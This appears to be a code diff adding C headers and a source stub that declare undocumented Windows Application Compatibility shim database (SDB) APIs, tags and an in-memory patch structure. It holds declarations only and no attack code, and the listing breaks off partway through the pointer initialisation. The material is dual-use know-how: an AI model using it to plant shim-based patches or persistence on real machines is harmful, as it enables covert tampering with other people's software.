_In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString,
_In_ ULONG BytesInUnicodeString
);
//
// Use the C runtime function instead
// strtol
//
NTSTATUS
NTAPI
RtlCharToInteger(
PCSZ String,
ULONG Base,
PULONG Value
);
//
// use the Win32 API instead
// ConvertSidToStringSid
//
NTSTATUS
NTAPI
RtlConvertSidToUnicodeString(
PUNICODE_STRING UnicodeString,
PSID Sid,
BOOLEAN AllocateDestinationString
);
//
// use the CryptoAPIs instead
// CryptGenRandom
//
ULONG
NTAPI
RtlUniform(
PULONG Seed
);
#define LOGONID_CURRENT ((ULONG)-1)
#define SERVERNAME_CURRENT ((HANDLE)NULL)
typedef enum _WINSTATIONINFOCLASS {
WinStationInformation = 8
} WINSTATIONINFOCLASS;
typedef struct _WINSTATIONINFORMATIONW {
BYTE Reserved2[70];
ULONG LogonId;
BYTE Reserved3[1140];
} WINSTATIONINFORMATIONW, *PWINSTATIONINFORMATIONW;
//
// this function is implemented in winsta.dll (you need to loadlibrary to call this function)
// this internal function retrives the LogonId (also called SessionId) for the current process
// You should avoid using this function as it can change. you can retrieve the same information
// Using public api WTSQuerySessionInformation. Pass WTSSessionId as the WTSInfoClass parameter
//
typedef BOOLEAN(WINAPI * PWINSTATIONQUERYINFORMATIONW)(
HANDLE, ULONG, WINSTATIONINFOCLASS, PVOID, ULONG, PULONG);
//
// Generic test for success on any status value (non-negative numbers
// indicate success).
//
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
//
// Generic test for information on any status value.
//
#ifndef NT_INFORMATION
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
#endif
//
// Generic test for warning on any status value.
//
#ifndef NT_WARNING
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
#endif
//
// Generic test for error on any status value.
//
#ifndef NT_ERROR
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
#endif
//++
//
// VOID
// InitializeObjectAttributes(
// OUT POBJECT_ATTRIBUTES p,
// IN PUNICODE_STRING n,
// IN ULONG a,
// IN HANDLE r,
// IN PSECURITY_DESCRIPTOR s
// )
//
//--
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
//
// Valid values for the Attributes field
//
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
//
// Define the create disposition values
//
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
#define FILE_OVERWRITE 0x00000004
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_MAXIMUM_DISPOSITION 0x00000005
//
// Define the create/open option flags
//
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_WRITE_THROUGH 0x00000002
#define FILE_SEQUENTIAL_ONLY 0x00000004
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_CREATE_TREE_CONNECTION 0x00000080
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
#define FILE_NO_EA_KNOWLEDGE 0x00000200
#define FILE_OPEN_REMOTE_INSTANCE 0x00000400
#define FILE_RANDOM_ACCESS 0x00000800
#define FILE_DELETE_ON_CLOSE 0x00001000
#define FILE_OPEN_BY_FILE_ID 0x00002000
#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000
#define FILE_NO_COMPRESSION 0x00008000
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7)
#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000
#endif
#define FILE_RESERVE_OPFILTER 0x00100000
#define FILE_OPEN_REPARSE_POINT 0x00200000
#define FILE_OPEN_NO_RECALL 0x00400000
#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000
#define FILE_VALID_OPTION_FLAGS 0x00ffffff
#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032
#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032
#define FILE_VALID_SET_FLAGS 0x00000036
//
// Define the I/O status information return values for NtCreateFile/NtOpenFile
//
#define FILE_SUPERSEDED 0x00000000
#define FILE_OPENED 0x00000001
#define FILE_CREATED 0x00000002
#define FILE_OVERWRITTEN 0x00000003
#define FILE_EXISTS 0x00000004
#define FILE_DOES_NOT_EXIST 0x00000005
#ifdef __cplusplus
}
#endif
#endif // (_WIN32_WINNT >= 0x0500)
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion
#endif // _WINTERNL_

View File

@ -0,0 +1,338 @@
/*
Copyright (c) 2014, Jon Erickson
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The views and conclusions contained in the software and documentation are those
of the authors and should not be interpreted as representing official policies,
either expressed or implied, of the FreeBSD Project.
*/
#include <windows.h>
typedef DWORD TAGID;
typedef DWORD TAGREF;
typedef DWORD TAG;
typedef PVOID PDB;
typedef HANDLE HSDB;
#define HID_DOS_PATHS 0x00000001
#define HID_DATABASE_FULLPATH 0x00000002
#define SDB_MAX_EXES 16
#define SDB_MAX_LAYERS 8
#define SDB_MAX_SDBS 16
#define SDB_DATABASE_SHIM 0x00010000
#define SHIMREG_DISABLE_SHIM 0x00000001
#define SHIMREG_DISABLE_APPHELP 0x00000002
#define SHIMREG_APPHELP_NOUI 0x00000004
#define SHIMREG_APPHELP_CANCEL 0x10000000
#define SHIMREG_DISABLE_SXS 0x00000010
#define SHIMREG_DISABLE_LAYER 0x00000020
#define SHIMREG_DISABLE_DRIVER 0x00000040
#define ATTRIBUTE_AVAILABLE 0x00000001
#define ATTRIBUTE_FAILED 0x00000002
#define TAGID_ROOT 0
#define TAGID_NULL 0
#define TAG_TYPE_NULL 0x1000
#define TAG_TYPE_BYTE 0x2000
#define TAG_TYPE_WORD 0x3000
#define TAG_TYPE_DWORD 0x4000
#define TAG_TYPE_QWORD 0x5000
#define TAG_TYPE_STRINGREF 0x6000
#define TAG_TYPE_LIST 0x7000
#define TAG_TYPE_STRING 0x8000
#define TAG_TYPE_BINARY 0x9000
#define TAG_DATABASE (0x1 | TAG_TYPE_LIST) //Database entry.
#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) //Library entry.
#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) //Include and exclude entry.
#define TAG_SHIM (0x4 | TAG_TYPE_LIST) //Shim entry that contains the name and purpose information.
#define TAG_PATCH (0x5 | TAG_TYPE_LIST) //Patch entry that contains the in-memory patching information.
#define TAG_APP (0x6 | TAG_TYPE_LIST) //Application entry.
#define TAG_EXE (0x7 | TAG_TYPE_LIST) //Executable entry.
#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) //Matching file entry.
#define TAG_SHIM_REF (0x9| TAG_TYPE_LIST) //Shim definition entry.
#define TAG_PATCH_REF (0xA | TAG_TYPE_LIST) //Patch definition entry.
#define TAG_LAYER (0xB | TAG_TYPE_LIST) // Layer shim entry.
#define TAG_FILE (0xC | TAG_TYPE_LIST) //File attribute used in a shim entry.
#define TAG_APPHELP (0xD | TAG_TYPE_LIST) //Apphelp information entry.
#define TAG_LINK (0xE | TAG_TYPE_LIST) //Apphelp online link information entry.
#define TAG_DATA (0xF | TAG_TYPE_LIST) //Name-value mapping entry.
#define TAG_MSI_TRANSFORM (0x10 | TAG_TYPE_LIST) //MSI transformation entry.
#define TAG_MSI_TRANSFORM_REF (0x11 | TAG_TYPE_LIST) //MSI transformation definition entry.
#define TAG_MSI_PACKAGE (0x12 | TAG_TYPE_LIST) //MSI package entry.
#define TAG_FLAG (0x13 | TAG_TYPE_LIST) //Flag entry.
#define TAG_MSI_CUSTOM_ACTION (0x14 | TAG_TYPE_LIST) //MSI custom action entry.
#define TAG_FLAG_REF (0x15 | TAG_TYPE_LIST) //Flag definition entry.
#define TAG_ACTION (0x16 | TAG_TYPE_LIST) //Unused.
#define TAG_LOOKUP (0x17 | TAG_TYPE_LIST) //Lookup entry used for lookup in a driver database.
#define TAG_STRINGTABLE (0x801 | TAG_TYPE_LIST) // String table entry.
#define TAG_INDEXES (0x802 | TAG_TYPE_LIST) // Indexes entry that defines all the indexes in a shim database.
#define TAG_INDEX (0x803 | TAG_TYPE_LIST) // Index entry that defines an index in a shim database.
#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) //Name attribute.
#define TAG_DESCRIPTION (0x2 | TAG_TYPE_STRINGREF) //Description entry.
#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) //Module attribute.
#define TAG_API (0x4 | TAG_TYPE_STRINGREF) //API entry.
#define TAG_VENDOR (0x5 | TAG_TYPE_STRINGREF) //Vendor name attribute.
#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) //Application name attribute that describes an application entry in a shim database.
#define TAG_COMMAND_LINE (0x8 | TAG_TYPE_STRINGREF) //Command line attribute that is used when passing arguments to a shim, for example.
#define TAG_COMPANY_NAME (0x9 | TAG_TYPE_STRINGREF) //Company name attribute.
#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) //DLL file attribute for a shim entry.
#define TAG_WILDCARD_NAME (0xB | TAG_TYPE_STRINGREF) //Wildcard name attribute for an executable entry with a wildcard as the file name.
#define TAG_PRODUCT_NAME (0x10 | TAG_TYPE_STRINGREF) //Product name attribute.
#define TAG_PRODUCT_VERSION (0x11 | TAG_TYPE_STRINGREF) //Product version attribute.
#define TAG_FILE_DESCRIPTION (0x12 | TAG_TYPE_STRINGREF) //File description attribute.
#define TAG_FILE_VERSION (0x13 | TAG_TYPE_STRINGREF) //File version attribute.
#define TAG_ORIGINAL_FILENAME (0x14 | TAG_TYPE_STRINGREF) //Original file name attribute.
#define TAG_INTERNAL_NAME (0x15 | TAG_TYPE_STRINGREF) //Internal file name attribute.
#define TAG_LEGAL_COPYRIGHT (0x16 | TAG_TYPE_STRINGREF) //Copyright attribute.
#define TAG_16BIT_DESCRIPTION (0x17 | TAG_TYPE_STRINGREF) //16-bit description attribute.
#define TAG_APPHELP_DETAILS (0x18 | TAG_TYPE_STRINGREF) //Apphelp details message information attribute.
#define TAG_LINK_URL (0x19 | TAG_TYPE_STRINGREF) //Apphelp online link URL attribute.
#define TAG_LINK_TEXT (0x1A | TAG_TYPE_STRINGREF) //Apphelp online link text attribute.
#define TAG_APPHELP_TITLE (0x1B | TAG_TYPE_STRINGREF) //Apphelp title attribute.
#define TAG_APPHELP_CONTACT (0x1C | TAG_TYPE_STRINGREF) //Apphelp vendor contact attribute.
#define TAG_SXS_MANIFEST (0x1D | TAG_TYPE_STRINGREF) //Side-by-side manifest entry.
#define TAG_DATA_STRING (0x1E | TAG_TYPE_STRINGREF) //String attribute for a data entry.
#define TAG_MSI_TRANSFORM_FILE (0x1F | TAG_TYPE_STRINGREF) //File name attribute of an MSI transformation entry.
#define TAG_16BIT_MODULE_NAME (0x20 | TAG_TYPE_STRINGREF) //16-bit module name attribute.
#define TAG_LAYER_DISPLAYNAME (0x21 | TAG_TYPE_STRINGREF) //Unused.
#define TAG_COMPILER_VERSION (0x22 | TAG_TYPE_STRINGREF) //Shim database compiler version.
#define TAG_ACTION_TYPE (0x23 | TAG_TYPE_STRINGREF) //Unused.
#define TAG_EXPORT_NAME (0x24 | TAG_TYPE_STRINGREF) //Export file name attribute.
#define TAG_SIZE (0x1 | TAG_TYPE_DWORD) //File size attribute.
#define TAG_OFFSET (0x2 | TAG_TYPE_DWORD) //Unused.
#define TAG_CHECKSUM (0x3 | TAG_TYPE_DWORD) //File checksum attribute.
#define TAG_SHIM_TAGID (0x4 | TAG_TYPE_DWORD) //Shim TAGID attribute.
#define TAG_PATCH_TAGID (0x5 | TAG_TYPE_DWORD) //Patch TAGID attribute.
#define TAG_MODULE_TYPE (0x6 | TAG_TYPE_DWORD) //Module type attribute.
#define TAG_VERDATEHI (0x7 | TAG_TYPE_DWORD) //High-order portion of the file version date attribute.
#define TAG_VERDATELO (0x8 | TAG_TYPE_DWORD) //Low-order portion of the file version date attribute.
#define TAG_VERFILEOS (0x9 | TAG_TYPE_DWORD) //Operating system file version attribute.
#define TAG_VERFILETYPE (0xA | TAG_TYPE_DWORD) //File type attribute.
#define TAG_PE_CHECKSUM (0xB | TAG_TYPE_DWORD) //PE file checksum attribute.
#define TAG_PREVOSMAJORVER (0xC | TAG_TYPE_DWORD) //Major operating system version attribute.
#define TAG_PREVOSMINORVER (0xD | TAG_TYPE_DWORD) //Minor operating system version attribute.
#define TAG_PREVOSPLATFORMID (0xE | TAG_TYPE_DWORD) //Operating system platform identifier attribute.
#define TAG_PREVOSBUILDNO (0xF | TAG_TYPE_DWORD) //Operating system build number attribute.
#define TAG_PROBLEMSEVERITY (0x10 | TAG_TYPE_DWORD) //Block attribute of an Apphelp entry. This determines whether the application is hard or soft blocked.
#define TAG_LANGID (0x11 | TAG_TYPE_DWORD) //Language identifier of an Apphelp entry.
#define TAG_VER_LANGUAGE (0x12 | TAG_TYPE_DWORD) //Language version attribute of a file.
#define TAG_ENGINE (0x14 | TAG_TYPE_DWORD) //Unused.
#define TAG_HTMLHELPID (0x15 | TAG_TYPE_DWORD) //Help identifier attribute for an Apphelp entry.
#define TAG_INDEX_FLAGS (0x16 | TAG_TYPE_DWORD) //Flags attribute for an index entry.
#define TAG_FLAGS (0x17 | TAG_TYPE_DWORD) //Flags attribute for an Apphelp entry.
#define TAG_DATA_VALUETYPE (0x18 | TAG_TYPE_DWORD) //Data type attribute for a data entry.
#define TAG_DATA_DWORD (0x19 | TAG_TYPE_DWORD) //DWORD value attribute for a data entry.
#define TAG_LAYER_TAGID (0x1A | TAG_TYPE_DWORD) //Layer shim TAGID attribute.
#define TAG_MSI_TRANSFORM_TAGID (0x1B | TAG_TYPE_DWORD) //MSI transform TAGID attribute.
#define TAG_LINKER_VERSION (0x1C | TAG_TYPE_DWORD) //Linker version attribute of a file.
#define TAG_LINK_DATE (0x1D | TAG_TYPE_DWORD) //Link date attribute of a file.
#define TAG_UPTO_LINK_DATE (0x1E | TAG_TYPE_DWORD) //Link date attribute of a file. Matching is done up to and including this link date.
#define TAG_OS_SERVICE_PACK (0x1F | TAG_TYPE_DWORD) //Operating system service pack attribute for an executable entry.
#define TAG_FLAG_TAGID (0x20 | TAG_TYPE_DWORD) //Flags TAGID attribute.
#define TAG_RUNTIME_PLATFORM (0x21 | TAG_TYPE_DWORD) //Run-time platform attribute of a file.
#define TAG_OS_SKU (0x22 | TAG_TYPE_DWORD) //Operating system SKU attribute for an executable entry.
#define TAG_OS_PLATFORM (0x23 | TAG_TYPE_DWORD) //Operating system platform attribute.
#define TAG_APP_NAME_RC_ID (0x24 | TAG_TYPE_DWORD) //Application name resource identifier attribute for Apphelp entries.
#define TAG_VENDOR_NAME_RC_ID (0x25 | TAG_TYPE_DWORD) //Vendor name resource identifier attribute for Apphelp entries.
#define TAG_SUMMARY_MSG_RC_ID (0x26 | TAG_TYPE_DWORD) //Summary message resource identifier attribute for Apphelp entries.
#define TAG_VISTA_SKU (0x27 | TAG_TYPE_DWORD) //Windows Vista SKU attribute.
#define TAG_DESCRIPTION_RC_ID (0x28 | TAG_TYPE_DWORD) //Description resource identifier attribute for Apphelp entries.
#define TAG_PARAMETER1_RC_ID (0x29 | TAG_TYPE_DWORD) //Parameter1 resource identifier attribute for Apphelp entries.
#define TAG_TAGID (0x801 | TAG_TYPE_DWORD) //TAGID attribute.
#define TAG_STRINGTABLE_ITEM (0x801 | TAG_TYPE_STRING) //String table item entry.
#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) //Include list entry.
#define TAG_GENERAL (0x2 | TAG_TYPE_NULL) //General purpose shim entry.
#define TAG_MATCH_LOGIC_NOT (0x3 | TAG_TYPE_NULL) //NOT of matching logic entry.
#define TAG_APPLY_ALL_SHIMS (0x4 | TAG_TYPE_NULL) //Unused.
#define TAG_USE_SERVICE_PACK_FILES (0x5 | TAG_TYPE_NULL) //Service pack information for Apphelp entries.
#define TAG_MITIGATION_OS (0x6 | TAG_TYPE_NULL) //Mitigation at operating system scope entry.
#define TAG_BLOCK_UPGRADE (0x7 | TAG_TYPE_NULL) //Upgrade block entry.
#define TAG_INCLUDEEXCLUDEDLL (0x8 | TAG_TYPE_NULL) //DLL include/exclude entry.
#define TAG_TIME (0x1 | TAG_TYPE_QWORD) //Time attribute.
#define TAG_BIN_FILE_VERSION (0x2 | TAG_TYPE_QWORD) //Bin file version attribute for file entries.
#define TAG_BIN_PRODUCT_VERSION (0x3 | TAG_TYPE_QWORD) //Bin product version attribute for file entries.
#define TAG_MODTIME (0x4 | TAG_TYPE_QWORD) //Unused.
#define TAG_FLAG_MASK_KERNEL (0x5 | TAG_TYPE_QWORD) //Kernel flag mask attribute.
#define TAG_UPTO_BIN_PRODUCT_VERSION (0x6 | TAG_TYPE_QWORD) //Bin product version attribute of a file. Matching is done up to and including this product version.
#define TAG_DATA_QWORD (0x7 | TAG_TYPE_QWORD) //ULONGLONG value attribute for a data entry.
#define TAG_FLAG_MASK_USER (0x8 | TAG_TYPE_QWORD) //User flag mask attribute.
#define TAG_FLAGS_NTVDM1 (0x9 | TAG_TYPE_QWORD) //NTVDM1 flag mask attribute.
#define TAG_FLAGS_NTVDM2 (0xA | TAG_TYPE_QWORD) //NTVDM2 flag mask attribute.
#define TAG_FLAGS_NTVDM3 (0xB | TAG_TYPE_QWORD) //NTVDM3 flag mask attribute.
#define TAG_FLAG_MASK_SHELL (0xC | TAG_TYPE_QWORD) //Shell flag mask attribute.
#define TAG_UPTO_BIN_FILE_VERSION (0xD | TAG_TYPE_QWORD) //Bin file version attribute of a file. Matching is done up to and including this file version.
#define TAG_FLAG_MASK_FUSION (0xE | TAG_TYPE_QWORD) //Fusion flag mask attribute.
#define TAG_FLAG_PROCESSPARAM (0xF | TAG_TYPE_QWORD) //Process param flag attribute.
#define TAG_FLAG_LUA (0x10 | TAG_TYPE_QWORD) //LUA flag attribute.
#define TAG_FLAG_INSTALL (0x11 | TAG_TYPE_QWORD) //Install flag attribute.
#define TAG_PATCH_BITS (0x2 | TAG_TYPE_BINARY) //Patch file bits attribute.
#define TAG_FILE_BITS (0x3 | TAG_TYPE_BINARY) //File bits attribute.
#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) //GUID attribute of an executable entry.
#define TAG_DATA_BITS (0x5 | TAG_TYPE_BINARY) //Data bits attribute.
#define TAG_MSI_PACKAGE_ID (0x6 | TAG_TYPE_BINARY) //MSI package identifier attribute of an MSI package.
#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) //GUID attribute of a database.
#define TAG_INDEX_BITS (0x801 | TAG_TYPE_BINARY) //Index bits attribute.
#define TAG_APP_ID (0x11 | TAG_TYPE_BINARY) // App id guid?
#define TAG_FIX_ID (0x10 | TAG_TYPE_BINARY) // undocumented
#define TAG_MATCH_MODE (0x1 | TAG_TYPE_WORD) //Match mode attribute.
#define TAG_TAG (0x801 | TAG_TYPE_WORD) //TAG entry.
#define TAG_INDEX_TAG (0x802 | TAG_TYPE_WORD) //Index TAG attribute for an index entry.
#define TAG_INDEX_KEY (0x803 | TAG_TYPE_WORD) //Index key attribute for an index entry.
typedef struct tagAPPHELP_DATA {
DWORD dwFlags;
DWORD dwSeverity;
DWORD dwHTMLHelpID;
LPTSTR szAppName;
TAGREF trExe;
LPTSTR szURL;
LPTSTR szLink;
LPTSTR szAppTitle;
LPTSTR szContact;
LPTSTR szDetails;
DWORD dwData;
BOOL bSPEntry;
} APPHELP_DATA, *PAPPHELP_DATA;
typedef struct tagATTRINFO {
TAG tAttrID;
DWORD dwFlags;
union {
ULONGLONG ullAttr;
DWORD dwAttr;
TCHAR *lpAttr;
};
} ATTRINFO, *PATTRINFO;
typedef struct _FIND_INFO {
TAGID tiIndex;
TAGID tiCurrent;
TAGID tiEndIndex;
TAG tName;
DWORD dwIndexRec;
DWORD dwFlags;
ULONGLONG ullKey;
union {
LPCTSTR szName;
DWORD dwName;
GUID *pguidName;
};
} FIND_INFO, *PFIND_INFO;
typedef DWORD INDEXID;
typedef enum _PATH_TYPE {
DOS_PATH,
NT_PATH
} PATH_TYPE;
typedef struct tagSDBQUERYRESULT {
TAGREF atrExes[SDB_MAX_EXES];
DWORD adwExeFlags[SDB_MAX_EXES];
TAGREF atrLayers[SDB_MAX_LAYERS];
DWORD dwLayerFlags;
TAGREF trApphelp;
DWORD dwExeCount;
DWORD dwLayerCount;
GUID guidID;
DWORD dwFlags;
DWORD dwCustomSDBMap;
GUID rgGuidDB[SDB_MAX_SDBS];
} SDBQUERYRESULT, *PSDBQUERYRESULT;
#define PATCH_MATCH 0x4
#define PATCH_REPLACE 0x2
#define MAX_MODULE 32
typedef struct _PATCHBITS
{
DWORD opcode;
DWORD actionSize;
DWORD patternSize;
DWORD rva;
DWORD unknown;
WCHAR moduleName[MAX_MODULE];
BYTE pattern[1];
} PATCHBITS, *PPATCHBITS;
//functions
typedef BOOL(WINAPI *BaseFlushAppcompatCache)(void);
typedef TAGID(WINAPI *SdbBeginWriteListTag)(PDB pdb, TAG tTag);
typedef void (WINAPI *SdbCloseDatabase)(PDB pdb);
typedef void (WINAPI *SdbCloseDatabaseWrite)(PDB pdb);
typedef BOOL(WINAPI *SdbCommitIndexes)(PDB pdb);
typedef PDB(WINAPI *SdbCreateDatabase)(LPCWSTR pwszPath, PATH_TYPE eType);
typedef BOOL(WINAPI *SdbDeclareIndex)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwEntries, BOOL bUniqueKey, INDEXID *piiIndex);
typedef BOOL(WINAPI *SdbEndWriteListTag)(PDB pdb, TAGID tiList);
typedef TAGID(WINAPI *SdbFindFirstDWORDIndexedTag)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwName, FIND_INFO *pFindInfo);
typedef TAGID(WINAPI *SdbFindFirstTag)(PDB pdb, TAGID tiParent, TAG tTag);
typedef TAGID(WINAPI *SdbFindNextTag)(PDB pdb, TAGID tiParent, TAGID tiPrev);
typedef BOOL(WINAPI *SdbFormatAttribute)(PATTRINFO pAttrInfo, LPTSTR pchBuffer, DWORD dwBufferSize);
typedef BOOL(WINAPI *SdbFreeFileAttributes)(PATTRINFO pFileAttributes);
typedef void (WINAPI *SdbGetAppPatchDir)(HSDB hSDB, LPTSTR szAppPatchPath, DWORD cchSize);
typedef PVOID(WINAPI *SdbGetBinaryTagData)(PDB pdb, TAGID tiWhich);
typedef BOOL(WINAPI *SdbGetFileAttributes)(LPCTSTR lpwszFileName, PATTRINFO *ppAttrInfo, LPDWORD lpdwAttrCount);
typedef TAGID(WINAPI *SdbGetFirstChild)(PDB pdb, TAGID tiParent);
typedef TAGID(WINAPI *SdbGetIndex)(PDB pdb, TAG tWhich, TAG tKey, LPDWORD lpdwFlags);
typedef BOOL(WINAPI *SdbGetMatchingExe)(HSDB hSDB, LPCTSTR szPath, LPCTSTR szModuleName, LPCTSTR pszEnvironment, DWORD dwFlags, PSDBQUERYRESULT pQueryResult);
typedef TAGID(WINAPI *SdbGetNextChild)(PDB pdb, TAGID tiParent, TAGID tiPrev);
typedef LPTSTR(WINAPI *SdbGetStringTagPtr)(PDB pdb, TAGID tiWhich);
typedef TAG(WINAPI *SdbGetTagFromTagID)(PDB pdb, TAGID tiWhich);
typedef HSDB(WINAPI *SdbInitDatabase)(DWORD dwFlags, LPCTSTR pszDatabasePath);
typedef BOOL(WINAPI *SdbIsStandardDatabase)(GUID GuidDB);
typedef ULONGLONG(WINAPI *SdbMakeIndexKeyFromString)(LPCTSTR pwszKey);
typedef PDB(WINAPI *SdbOpenApphelpDetailsDatabase)(LPCWSTR pwsDetailsDatabasePath);
typedef HMODULE(WINAPI *SdbOpenApphelpResourceFile)(LPCWSTR pwszACResourceFile);
typedef PDB(WINAPI *SdbOpenDatabase)(LPCTSTR pwszPath, PATH_TYPE eType);
typedef DWORD(WINAPI *SdbQueryDataExTagID)(PDB pdb, TAGID tiExe, LPCTSTR lpszDataName, LPDWORD lpdwDataType, LPVOID lpBuffer, LPDWORD lpcbBufferSize, TAGID *ptiData);
typedef BOOL(WINAPI *SdbReadApphelpDetailsData)(PDB pdb, PAPPHELP_DATA pData);
typedef BOOL(WINAPI *SdbReadBinaryTag)(PDB pdb, TAGID tiWhich, PBYTE pBuffer, DWORD dwBufferSize);
typedef DWORD(WINAPI *SdbReadDWORDTag)(PDB pdb, TAGID tiWhich, DWORD dwDefault);
typedef DWORD(WINAPI *SdbReadWORDTag)(PDB pdb, TAGID tiWhich, WORD dwDefault);
typedef ULONGLONG(WINAPI *SdbReadQWORDTag)(PDB pdb, TAGID tiWhich, ULONGLONG qwDefault);
typedef BOOL(WINAPI *SdbReadStringTag)(PDB pdb, TAGID tiWhich, LPTSTR pwszBuffer, DWORD cchBufferSize);
typedef BOOL(WINAPI *SdbRegisterDatabaseEx)(LPCTSTR pszDatabasePath, DWORD dwDatabaseType, PULONGLONG pTimeStamp);
typedef void (WINAPI *SdbReleaseDatabase)(HSDB hSDB);
typedef void (WINAPI *SdbReleaseMatchingExe)(HSDB hSDB, TAGREF trExe);
typedef BOOL(WINAPI *SdbStartIndexing)(PDB pdb, INDEXID iiWhich);
typedef BOOL(WINAPI *SdbStopIndexing)(PDB pdb, INDEXID iiWhich);
typedef BOOL(WINAPI *SdbTagRefToTagID)(HSDB hSDB, TAGREF trWhich, PDB *ppdb, TAGID *ptiWhich);
typedef LPCTSTR(WINAPI *SdbTagToString)(TAG tag);
typedef BOOL(WINAPI *SdbUnregisterDatabase)(GUID *pguidDB);
typedef BOOL(WINAPI *SdbWriteBinaryTag)(PDB pdb, TAG tTag, PBYTE pBuffer, DWORD dwSize);
typedef BOOL(WINAPI *SdbWriteBinaryTagFromFile)(PDB pdb, TAG tTag, LPCWSTR pwszPath);
typedef BOOL(WINAPI *SdbWriteDWORDTag)(PDB pdb, TAG tTag, DWORD dwData);
typedef BOOL(WINAPI *SdbWriteNULLTag)(PDB pdb, TAG tTag);
typedef BOOL(WINAPI *SdbWriteQWORDTag)(PDB pdb, TAG tTag, ULONGLONG qwData);
typedef BOOL(WINAPI *SdbWriteStringTag)(PDB pdb, TAG tTag, LPCWSTR pwszData);
typedef BOOL(WINAPI *SdbWriteWORDTag)(PDB pdb, TAG tTag, WORD wData);
typedef BOOL(WINAPI *ShimFlushCache)(HWND hwnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, int nCmdShow);
typedef BOOL(WINAPI *SdbGetTagDataSize)(PDB pdb, TAG tTag);
typedef DWORD(WINAPI* SdbGetShowDebugInfoOption)();

View File

@ -0,0 +1,190 @@
#include "stdafx.h"
#include "sdb.h"
BaseFlushAppcompatCache BaseFlushAppcompatCachePtr = NULL;
SdbBeginWriteListTag SdbBeginWriteListTagPtr = NULL;
SdbCloseDatabase SdbCloseDatabasePtr = NULL;
SdbCloseDatabaseWrite SdbCloseDatabaseWritePtr = NULL;
SdbCommitIndexes SdbCommitIndexesPtr = NULL;
SdbCreateDatabase SdbCreateDatabasePtr = NULL;
SdbDeclareIndex SdbDeclareIndexPtr = NULL;
SdbEndWriteListTag SdbEndWriteListTagPtr = NULL;
SdbFindFirstDWORDIndexedTag SdbFindFirstDWORDIndexedTagPtr = NULL;
SdbFindFirstTag SdbFindFirstTagPtr = NULL;
SdbFindNextTag SdbFindNextTagPtr = NULL;
SdbFormatAttribute SdbFormatAttributePtr = NULL;
SdbFreeFileAttributes SdbFreeFileAttributesPtr = NULL;
SdbGetAppPatchDir SdbGetAppPatchDirPtr = NULL;
SdbGetBinaryTagData SdbGetBinaryTagDataPtr = NULL;
SdbGetFileAttributes SdbGetFileAttributesPtr = NULL;
SdbGetFirstChild SdbGetFirstChildPtr = NULL;
